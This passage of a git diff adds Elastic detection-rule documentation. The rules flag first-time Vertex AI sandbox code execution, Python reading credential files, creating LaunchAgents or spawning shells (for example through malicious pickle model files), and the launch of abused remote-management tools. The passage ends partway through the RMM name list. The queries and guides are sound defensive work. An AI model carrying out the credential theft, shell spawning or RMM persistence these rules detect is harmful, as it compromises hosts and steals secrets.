b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-time-gcp-vertex-ai-agent-engine-sandbox-code-execution-by-user-and-source-asn.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-36-first-time-gcp-vertex-ai-agent-engine-sandbox-code-execution-by-user-and-source-asn]] +=== First Time GCP Vertex AI Agent Engine Sandbox Code Execution by User and Source ASN + +Detects the first time a Vertex AI Agent Engine caller executes code in a sandboxEnvironment from a given source autonomous system. First-time sandbox execution by a user and source ASN can indicate a new workload, stolen credentials used from an unusual network, or early Agent Engine abuse before broader sandbox reuse is visible. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-gcp_vertexai.auditlogs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.beyondtrust.com/blog/entry/vertex-ai-agent-engine-sandbox-hijack +* https://docs.cloud.google.com/gemini-enterprise-agent-platform/scale/sandbox/code-execution-quickstart +* https://www.elastic.co/docs/reference/integrations/gcp_vertexai + +*Tags*: + +* Domain: GenAI +* Domain: Cloud +* Data Source: GCP Vertex AI +* Data Source: GCP +* Data Source: Google Cloud Platform +* Platform: GCP +* Service: GCP Vertex AI +* Use Case: Threat Detection +* Tactic: Execution +* Threat: Unauthorized AI Usage +* Mitre Atlas: AML.T0053 +* Mitre Atlas: AML.T0110 +* Mitre Atlas: AML.T0110.002 +* Resources: Investigation Guide +* Rule Type: New Terms + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time GCP Vertex AI Agent Engine Sandbox Code Execution by User and Source ASN* + + +This new-terms rule alerts when `client.user.email` combined with `source.as.number` first appears on a successful +Agent Engine `ExecuteSandboxEnvironment` call in the history window. It is an informational starting point for +reviewing who is running code in sandboxes and from where, not proof of hijacking. + + +*Possible investigation steps* + + +- Review `client.user.email`, `source.ip`, `source.as.number`, `source.as.organization.name`, and + `gcp.vertexai.audit.resource_name` (sandbox path). +- Confirm whether the principal is expected to use Agent Engine and whether the ASN matches approved office, VPN, or + cloud egress. +- Hunt nearby CreateSandboxEnvironment and additional ExecuteSandboxEnvironment events for the same sandbox or + principal. Inspect application traces or captured code when available; audit logs omit submitted Python. + + +*False positive analysis* + + +- First-time legitimate developers, CI service accounts, and research projects commonly match until identities and + ASNs are baselined. +- Shared automation identities that rotate egress networks can create recurring first-seen pairs; prefer + principal-scoped exceptions after ownership review. + + +*Response and remediation* + + +- If the principal or ASN is unexpected: restrict or rotate credentials, review IAM grants, and inspect recent + sandbox activity for unauthorized code execution. +- Prefer separate sandboxes across users or tenants and treat tool output as untrusted input to the agent. + + +==== Setup + + + +*Setup* + + +Requires GCP Vertex AI `auditlogs` for `aiplatform.googleapis.com`, including +`SandboxEnvironmentExecutionService.ExecuteSandboxEnvironment`, with `client.user.email` and `source.as.number` +populated. Submitted code is not present in these events; obtain application code records or traces separately when +available. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp_vertexai.auditlogs and event.action:*SandboxEnvironmentExecutionService.ExecuteSandboxEnvironment* and gcp.vertexai.audit.resource_name:*/sandboxEnvironments/* and gcp.vertexai.audit.service_name:aiplatform.googleapis.com and client.user.email:* and source.as.number:* and gcp.vertexai.audit.status.code:(0 or not *) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-time-python-accessed-sensitive-credential-files.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-time-python-accessed-sensitive-credential-files.asciidoc new file mode 100644 index 0000000000..b34ff2d489 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-time-python-accessed-sensitive-credential-files.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-36-first-time-python-accessed-sensitive-credential-files]] +=== First Time Python Accessed Sensitive Credential Files + +Detects the first time a Python process accesses sensitive credential files on a given host. This behavior may indicate post-exploitation credential theft via a malicious Python script, compromised dependency, or malicious model file deserialization. Legitimate Python processes do not typically access credential files such as SSH keys, AWS credentials, browser cookies, Kerberos tickets, or keychain databases, so a first occurrence is a strong indicator of compromise. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.trailofbits.com/2024/06/11/exploiting-ml-models-with-pickle-file-attacks-part-1/ +* https://github.com/trailofbits/fickling + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: macOS + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time Python Accessed Sensitive Credential Files* + + +Attackers who achieve Python code execution — whether through malicious scripts, compromised dependencies, or model file deserialization (e.g., pickle/PyTorch `__reduce__`) — often target sensitive credential files such as SSH keys, cloud provider credentials, browser session cookies, and macOS keychain data. Since legitimate Python processes do not typically access these files, a first occurrence from a Python process is highly suspicious. + +This rule leverages the Elastic Defend sensitive file `open` event, which is only collected for known sensitive file paths, combined with the New Terms rule type to alert on the first time a specific credential file is accessed by Python on a given host within a 7-day window. + + +*Possible investigation steps* + + +- Examine the Python process command line and arguments to identify the script or command that triggered the file access. +- Determine if the Python process was loading a model file (look for `torch.load`, `pickle.load`), running a standalone script, or executing via a compromised dependency. +- Review the specific credential file that was accessed and assess the potential impact (SSH keys enable lateral movement, AWS credentials enable cloud access, browser cookies enable session hijacking). +- Check for outbound network connections from the same process tree that may indicate credential exfiltration. +- Investigate the origin of any recently downloaded scripts, packages, or model files on the host. +- Look for file creation events in `/tmp/` or other staging directories that may contain copies of the stolen credentials. + + +*False positive analysis* + + +- Python-based secret management tools (e.g., `aws-cli`, `gcloud`) legitimately access credential files. Consider excluding known trusted executables by process path. +- SSH automation scripts using `paramiko` or `fabric` may read SSH keys. Evaluate whether the access pattern matches known automation workflows. +- Security scanning tools running Python may enumerate credential files as part of their assessment. + + +*Response and remediation* + + +- Immediately rotate any credentials that were potentially accessed (SSH keys, AWS access keys, cloud tokens). +- Quarantine the Python process and investigate the source script, package, or model file that triggered the access. +- If a malicious file is confirmed, identify all hosts where it may have been distributed. +- Review outbound network connections from the host around the time of the credential access to check for exfiltration. +- Consider implementing `weights_only=True` enforcement for PyTorch model loading across the environment. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:file and host.os.type:macos and event.action:open and +process.name:python* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Keychain +** ID: T1555.001 +** Reference URL: https://attack.mitre.org/techniques/T1555/001/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Sub-technique: +** Name: Ccache Files +** ID: T1558.005 +** Reference URL: https://attack.mitre.org/techniques/T1558/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-time-python-created-a-launchagent-or-launchdaemon.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-time-python-created-a-launchagent-or-launchdaemon.asciidoc new file mode 100644 index 0000000000..9cb5cea56f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-time-python-created-a-launchagent-or-launchdaemon.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-36-first-time-python-created-a-launchagent-or-launchdaemon]] +=== First Time Python Created a LaunchAgent or LaunchDaemon + +Detects the first time a Python process creates or modifies a LaunchAgent or LaunchDaemon plist file on a given host. Malicious Python scripts, compromised dependencies, or model file deserialization can establish persistence on macOS by writing plist files to LaunchAgent or LaunchDaemon directories. Legitimate Python processes do not typically create persistence mechanisms, so a first occurrence is a strong indicator of compromise. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.trailofbits.com/2024/06/11/exploiting-ml-models-with-pickle-file-attacks-part-1/ +* https://github.com/trailofbits/fickling + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: macOS + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time Python Created a LaunchAgent or LaunchDaemon* + + +macOS LaunchAgents and LaunchDaemons are plist files that configure programs to run automatically at login or boot. Attackers who achieve Python code execution — whether through malicious scripts, compromised dependencies, or model file deserialization (e.g., pickle/PyTorch `__reduce__`) — can drop plist files to establish persistence on the compromised host. This ensures their payload survives reboots and user logouts. + +This rule uses the Elastic Defend persistence event type (`event.action:"launch_daemon"`), which captures plist metadata including the program arguments, run-at-load configuration, and keep-alive settings. The New Terms rule type alerts on the first time a Python process creates a LaunchAgent or LaunchDaemon on a given host within a 7-day window. + + +*Possible investigation steps* + + +- Review the persistence event fields (`Persistence.runatload`, `Persistence.keepalive`, `Persistence.args`, `Persistence.path`) to understand the plist configuration. +- Examine the program path and arguments specified in the plist to determine if they reference a known legitimate application or a suspicious binary. +- Determine if the Python process was loading a model file (look for `torch.load`, `pickle.load`), running a standalone script, or executing via a compromised dependency. +- Verify if the target binary referenced in the plist exists on disk and whether it is signed or trusted. +- Investigate the origin of any recently downloaded scripts, packages, or model files on the host. +- Check for other persistence mechanisms that may have been established around the same time. + + +*False positive analysis* + + +- Some Python-based system management tools (e.g., Ansible, SaltStack) may legitimately create LaunchAgent or LaunchDaemon plist files. Evaluate whether the activity matches a known automation workflow. +- Python-based application installers may create plist files during setup. Check if the activity correlates with a known software installation. + + +*Response and remediation* + + +- Immediately unload the suspicious LaunchAgent or LaunchDaemon using `launchctl unload` with the plist path. +- Remove the suspicious plist file and any associated binary it references. +- Kill any processes launched by the plist file. +- Investigate and quarantine the Python script, package, or model file that created the persistence mechanism. +- Scan the host for additional indicators of compromise. +- If a malicious file is confirmed, identify all hosts where it may have been distributed. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:macos and event.action:"launch_daemon" and +process.name:python* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Launch Agent +** ID: T1543.001 +** Reference URL: https://attack.mitre.org/techniques/T1543/001/ +* Sub-technique: +** Name: Launch Daemon +** ID: T1543.004 +** Reference URL: https://attack.mitre.org/techniques/T1543/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-time-python-spawned-a-shell-on-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-time-python-spawned-a-shell-on-host.asciidoc new file mode 100644 index 0000000000..63ac726de5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-time-python-spawned-a-shell-on-host.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-36-first-time-python-spawned-a-shell-on-host]] +=== First Time Python Spawned a Shell on Host + +Detects the first time a Python process spawns a shell on a given host. Malicious Python scripts, compromised dependencies, or model file deserialization can result in shell spawns that would not occur during normal workflows. Since legitimate Python processes rarely shell out to interactive shells, a first occurrence of this behavior on a host is a strong signal of potential compromise. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.trailofbits.com/2024/06/11/exploiting-ml-models-with-pickle-file-attacks-part-1/ +* https://github.com/trailofbits/fickling +* https://5stars217.github.io/2024-03-04-what-enables-malicious-models/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: macOS + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time Python Spawned a Shell on Host* + + +Attackers who achieve Python code execution — whether through malicious scripts, compromised dependencies, or model file deserialization (e.g., pickle/PyTorch `__reduce__`) — often spawn shell processes to perform reconnaissance, credential theft, persistence, or reverse shell activity. Since legitimate Python workflows rarely shell out with `-c`, a first occurrence is highly suspicious. + +This rule uses the New Terms rule type to detect the first occurrence of a Python process spawning a shell with the `-c` flag on a given host within a 7-day window. This approach reduces false positives from recurring legitimate Python workflows while surfacing novel, potentially malicious activity. + + +*Possible investigation steps* + + +- Examine the parent Python process command line to identify the script or command that triggered the shell spawn. +- Determine if the Python process was loading a model file (look for `torch.load`, `pickle.load`), running a standalone script, or executing via a compromised dependency. +- Review the shell command arguments to assess intent (credential access, reverse shell, persistence, reconnaissance). +- Inspect the full process tree to determine if the Python process was launched from an interactive session, a cron job, or an automated pipeline. +- Investigate the origin of any recently downloaded scripts, packages, or model files on the host. +- Correlate with other hosts in the environment to determine if the same behavior is occurring elsewhere, which may indicate a supply chain compromise. + + +*False positive analysis* + + +- Development environments where Python scripts legitimately shell out for system tasks (e.g., build scripts, CI/CD runners) may trigger this rule on first occurrence. Consider excluding known CI/CD working directories or build automation paths. +- Package installation via pip or conda may spawn shells during post-install scripts. These are excluded by the query filter. +- Jupyter notebooks executing system commands via `!` or `subprocess` may trigger this rule in data science environments. + + +*Response and remediation* + + +- Investigate the shell command that was executed and assess its impact (credential access, persistence, data exfiltration). +- If a malicious file is confirmed, quarantine it and identify its source (PyPI, Hugging Face, shared drive, email attachment). +- Scan other hosts that may have received the same file. +- Review and rotate any credentials that may have been accessed. +- Consider implementing `weights_only=True` enforcement for PyTorch model loading across the environment. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:macos and event.type:start and event.action:exec and +process.parent.name:python* and +process.name:(bash or dash or sh or tcsh or csh or zsh or ksh or fish) and process.args:"-c" and +not process.command_line:(*pip* or *conda* or *brew* or *jupyter*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-time-seen-remote-monitoring-and-management-tool.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-time-seen-remote-monitoring-and-management-tool.asciidoc new file mode 100644 index 0000000000..302a7eb8a5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-time-seen-remote-monitoring-and-management-tool.asciidoc @@ -0,0 +1,413 @@ +[[prebuilt-rule-8-19-36-first-time-seen-remote-monitoring-and-management-tool]] +=== First Time Seen Remote Monitoring and Management Tool + +Adversaries may install legitimate remote monitoring and management (RMM) tools or remote access software on compromised endpoints for command-and-control (C2), persistence, and execution of native commands. This rule detects when a process is started whose name or code signature matches commonly abused RMM or remote access tools. New Terms type: the host.id and process.name pair has not been seen before within the configured 7-day history window. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process-* +* endgame-* +* winlogbeat-* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* logs-system.security* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/ +* https://github.com/redcanaryco/surveyor/blob/master/definitions/remote-admin.json +* https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-025a +* https://www.cisa.gov/sites/default/files/2025-06/aa25-163a-ransomware-simplehelp-rmm-compromise.pdf +* https://lolrmm.io/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Remote Management Tool Abuse +* Rule Type: New Terms +* Platform: Windows + +*Version*: 120 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time Seen Remote Monitoring and Management Tool* + + + +*Possible investigation steps* + + +- Validate the alert-local process event and identify the matched RMM artifact. + - Focus: `host.name`, `host.id`, `process.name`, `process.executable`, `process.code_signature.subject_name`. + - Review the exact process entity on the alerted host with !{investigate{"description":"Find the exact alerted process entity on the same host around the alert window.","label":"Matched process context","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: The alert proves one Windows process start from the supported process data sources where the `host.id` and `process.name` pair is first seen within the 7-day new terms window; it does not prove the remote session or legitimacy. Close only if the exact host, account, process name, executable, signer, and support or deployment window match a validated change record or verified owner confirmation; otherwise continue. +- Determine why this RMM process is new for the host. + - Focus: `host.id`, `process.name`, `process.executable`, `process.command_line`, `process.hash.sha256`. + - Review same-host executions across the rule history window with !{investigate{"description":"Find same-host executions of the matched process name across the rule history window.","label":"Same host process name history","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.name","queryType":"phrase","value":"{{process.name}}","valueType":"string"}]],"relativeFrom":"now-7d/d","relativeTo":"now"}} + - Implication: Repeated executions clustered around the same deployment or support window can support a bounded benign explanation only when the exact executable, command line, hash, host, and account match the recovered business context. A new hash, renamed executable, unexpected arguments, or executions outside that window keep the case suspicious. +- Reconstruct the parent process and logon context that launched the tool. + - Focus: `process.parent.name`, `process.parent.executable`, `process.parent.command_line`, `process.Ext.session_info.logon_type`, `user.name`. + - Review the parent process entity on the same host with !{investigate{"description":"Recover events for the parent process entity that launched the matched RMM process.","label":"Parent process activity","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Implication: A parent and session that match the same validated change record and account owner confirmation can bound the activity to one workflow. A launch from user-download, browser, archive, script, or unrelated service context is suspicious for social engineering or staged access. +- Inspect endpoint artifacts and child behavior before broader scoping. + - Focus: `process.entity_id`, `process.Ext.ancestry`, `process.args`, `process.working_directory`, `process.Ext.token.elevation_level`. + - Implication: Recover child process, service, file, registry, and persistence evidence from endpoint timeline or live host data before interpretation because those artifact fields are not guaranteed on the alert. Child execution, persistence, unusual working directories, or elevated token use by the matched RMM process supports escalation; absence of recoverable artifacts does not prove benign. +- If local process, parent, and endpoint-artifact evidence is suspicious or incomplete, broaden scope for the RMM hypothesis. + - Focus: `host.id`, `user.name`, `process.name`, `process.hash.sha256`, `process.code_signature.subject_name`. + - Review same host and account activity with !{investigate{"description":"Review activity by the same account on the same host before broader scoping.","label":"Host account activity","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"user.name","queryType":"phrase","value":"{{user.name}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Review the same executable hash across available process events with !{investigate{"description":"Find other executions of the same executable hash when local evidence is suspicious or unresolved.","label":"Executable hash scope","providers":[[{"excluded":false,"field":"process.hash.sha256","queryType":"phrase","value":"{{process.hash.sha256}}","valueType":"string"}]],"relativeFrom":"now-7d/d","relativeTo":"now"}} + - Implication: The hypothesis is RMM staging or reuse across hosts or accounts; matching hash activity, related alerts, or repeated account use should drive host and account scoping plus evidence preservation. No related alerts or hash matches only limits currently observed spread and does not prove benign; exact matches limited to the validated host, account, and time window may support closure after the earlier evidence aligns. + +Disposition: Escalate suspicious RMM artifacts, launch chains, or expanded scope; close only when alert-local evidence and recovered context prove one expected support or deployment workflow on the exact host and account; preserve and escalate mixed or incomplete cases for more context before final disposition. + + +*False positive analysis* + + +- Potential benign cases include first deployment of a remote support tool, first use after host rebuild, a product update that changes `process.name`, or a one-time support session only when alert-local and recovered process evidence match `host.id`, `user.name`, `process.name`, `process.executable`, `process.code_signature.subject_name`, `process.code_signature.trusted`, `process.pe.original_file_name`, and `process.hash.sha256` when available, and that evidence aligns with a verified owner confirmation or validated change record for the observed support or deployment window. +- Do not close on the tool name, signer, executable path, or lack of related alerts alone. Escalate when artifacts indicate social engineering, an unexpected parent or session, a renamed executable, hash mismatch, or unbounded account or host spread. +- Scope exceptions only to durable future-alert fields that match the validated benign workflow, using `host.id`, `user.name`, `process.name`, `process.executable`, `process.code_signature.subject_name`, `process.code_signature.trusted`, `process.pe.original_file_name`, and `process.hash.sha256` when available. Do not scope exceptions by prose-only groups such as support teams or known RMM activity; preserve and escalate mixed or incomplete cases instead of creating broad exclusions. + + +*Response and remediation* + + +- Preserve or export case evidence plus volatile process, memory, executable, or file-system artifacts that could be lost before isolation, process termination, cleanup, or other disruptive action. +- For confirmed malicious activity, scope first by reviewing the matched process, parent and child processes, persistence artifacts, same-hash executions, related alerts, and account activity across affected hosts. +- After evidence capture and initial scoping, isolate affected hosts or disable active remote access paths when containment is required to prevent continued access. +- After containment decisions and evidence review, terminate malicious RMM processes, remove persistence, clean up dropped files or services, revoke active sessions, and reset credentials exposed through the RMM session or related activity. +- If social engineering led to the remote access, validate the user interaction, collect relevant communications or download sources when available, and include affected accounts in credential review. +- Document confirmed indicators and logging or detection gaps for the responsible detection or logging owners after scoping and containment. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type: "windows" and + event.category: "process" and event.type: "start" and + ( + process.code_signature.subject_name : ( + "Action1 Corporation" or + "Aeroadmin LLC" or + "AeroAdmin LLC" or + "AmidaWare LLC" or + "Ammyy LLC" or + "AnyDesk Software GmbH" or + "AOMEI International Network Limited" or + "Atera Networks Ltd" or + "AWERAY PTE. LTD." or + "BeamYourScreen GmbH" or + "Bomgar Corporation" or + "BreakingSecurity.net" or + "ConnectWise, Inc." or + "ConnectWise, LLC" or + "Connectwise, LLC" or + "Devolutions Inc" or + "Devolutions inc." or + "DOMOTZ INC." or + "DUC FABULOUS CO.,LTD" or + "DWSNET OÜ" or + "DWSNET srl" or + "Electronic Team, Inc." or + "Famatech Corp." or + "FleetDeck Inc" or + "GlavSoft LLC" or + "GlavSoft LLC." or + "GoTo Technologies USA, LLC" or + "Hefei Pingbo Network Technology Co. Ltd" or + "IDrive, Inc." or + "Impero Solutions Limited" or + "IMPERO SOLUTIONS LIMITED" or + "Instant Housecall" or + "ISL Online Ltd." or + "JumpCloud Inc" or + "Level Software, Inc." or + "LogMeIn, Inc." or + "LUNIXAR SAS DE CV" or + "MMSOFT Design Ltd." or + "Monitoring Client" or + "MSPBytes Corp" or + "MSPBytes, Corp." or + "N-ABLE TECHNOLOGIES LTD" or + "Nanosystems S.r.l." or + "NetSupport Ltd" or + "NetSupport Ltd." or + "NETSUPPORT LTD." or + "NinjaOne LLC" or + "NinjaRMM, LLC" or + "Open Source Developer, Huabing Zhou" or + "Parallels International GmbH" or + "philandro Software GmbH" or + "Pro Softnet Corporation" or + "PURSLANE" or + "RealVNC" or + "RealVNC Limited" or + "REMOTE UTILITIES PTE. LTD." or + "Remote Utilities LLC" or + "Rocket Software, Inc." or + "Rsupport Co., Ltd." or + "SAFIB" or + "ScreenConnect Client" or + "Servably, Inc." or + "Servably Inc." or + "ShowMyPC INC" or + "SimpleHelp Ltd" or + "Splashtop Inc." or + "Superops Inc." or + "Tailscale Inc." or + "TeamViewer" or + "TeamViewer GmbH" or + "TeamViewer Germany GmbH" or + "Techinline Limited" or + "uvnc bvba" or + "Yakhnovets Denis Aleksandrovich IP" or + "Zhou Huabing" or + "ZOHO Corporation Private Limited" + ) or + + process.name.caseless : ( + AA_v*.exe or + "AcronisCyberProtectConnectAgent.exe" or + "AeroAdmin.exe" or + "AgentMon.exe" or + "AnyDesk.exe" or + "apc_Admin.exe" or + "apc_host.exe" or + "AteraAgent.exe" or + aweray_remote*.exe or + "AweSun.exe" or + "B4-Service.exe" or + "BASupSrvc.exe" or + "bomgar-scc.exe" or + "CagService.exe" or + "CloudRaCmd.exe" or + "CloudRaSd.exe" or + "CloudRaService.exe" or + ConnectWiseControl*.exe or + "connectwisecontrol.client.exe" or + "domotzagent.exe" or + "domotz-windows-x64-10.exe" or + "dwagsvc.exe" or + "DWRCC.exe" or + "dwrcs.exe" or + "dwrcst.exe" or + fleetdeck_commander*.exe or + "g2aservice.exe" or + "getscreen.exe" or + "GoToAssistService.exe" or + "GoToResolveProcessChecker.exe" or + "GoToResolveRemoteControl.exe" or + "GoToResolveService.exe" or + "GoToResolveTerminal.exe" or + "GoToResolveUnattended.exe" or + "gotohttp.exe" or + "helpwire.exe" or + "ImmyAgent.exe" or + "ImmyBot.Agent.Ephemeral.exe" or + "ImmyUpdater.exe" or + "ImperoClientSVC.exe" or + "ImperoServerSVC.exe" or + "ISLLight.exe" or + "ISLLightClient.exe" or + "jumpcloud-agent.exe" or + "komari.exe" or + "komari-agent.exe" or + "level.exe" or + "lmi_rescue.exe" or + "lmi_rescue_srv.exe" or + "LMIIgnition.exe" or + "LogMeIn.exe" or + "ltsvc.exe" or + "ltsvcmon.exe" or + "lttray.exe" or + "Lunixar.exe" or + "LunixarRemote.exe" or + "LunixarUpdater.exe" or + "LvAgent.exe" or + "ManageEngine_Remote_Access_Plus.exe" or + "MeshAgent.exe" or + "Mikogo-Service.exe" or + "nezha-agent.exe" or + "NinjaRMMAgent.exe" or + "NinjaRMMAgentPatcher.exe" or + "ninjarmm-cli.exe" or + "parsec.exe" or + "PService.exe" or + "quickassist.exe" or + "r_server.exe" or + "radmin.exe" or + "radmin3.exe" or + "rcengmgru.exe" or + "RCClient.exe" or + "rcmgrsvc.exe" or + "RCService.exe" or + "Remote Support.exe" or + "RemoteDesktopManager.exe" or + "Remotely_Agent.exe" or + "Remotely_Desktop.exe" or + "RemotePC.exe" or + "RemotePCDesktop.exe" or + "RemotePCService.exe" or + "remoteview.exe" or + "rfusclient.exe" or + "RMM.Agent.exe" or + "ROMServer.exe" or + "ROMViewer.exe" or + "RPCSuite.exe" or + "rserver3.exe" or + "rustdesk.exe" or + "rutserv.exe" or + "rutview.exe" or + "rvagent.exe" or + "rvagtray.exe" or + "saazapsc.exe" or + ScreenConnect*.exe or + "ScreenConnect.ClientService.exe" or + "session_win.exe" or + "simplegatewayservice.exe" or + "simplehelpcustomer.exe" or + "smpcview.exe" or + "spclink.exe" 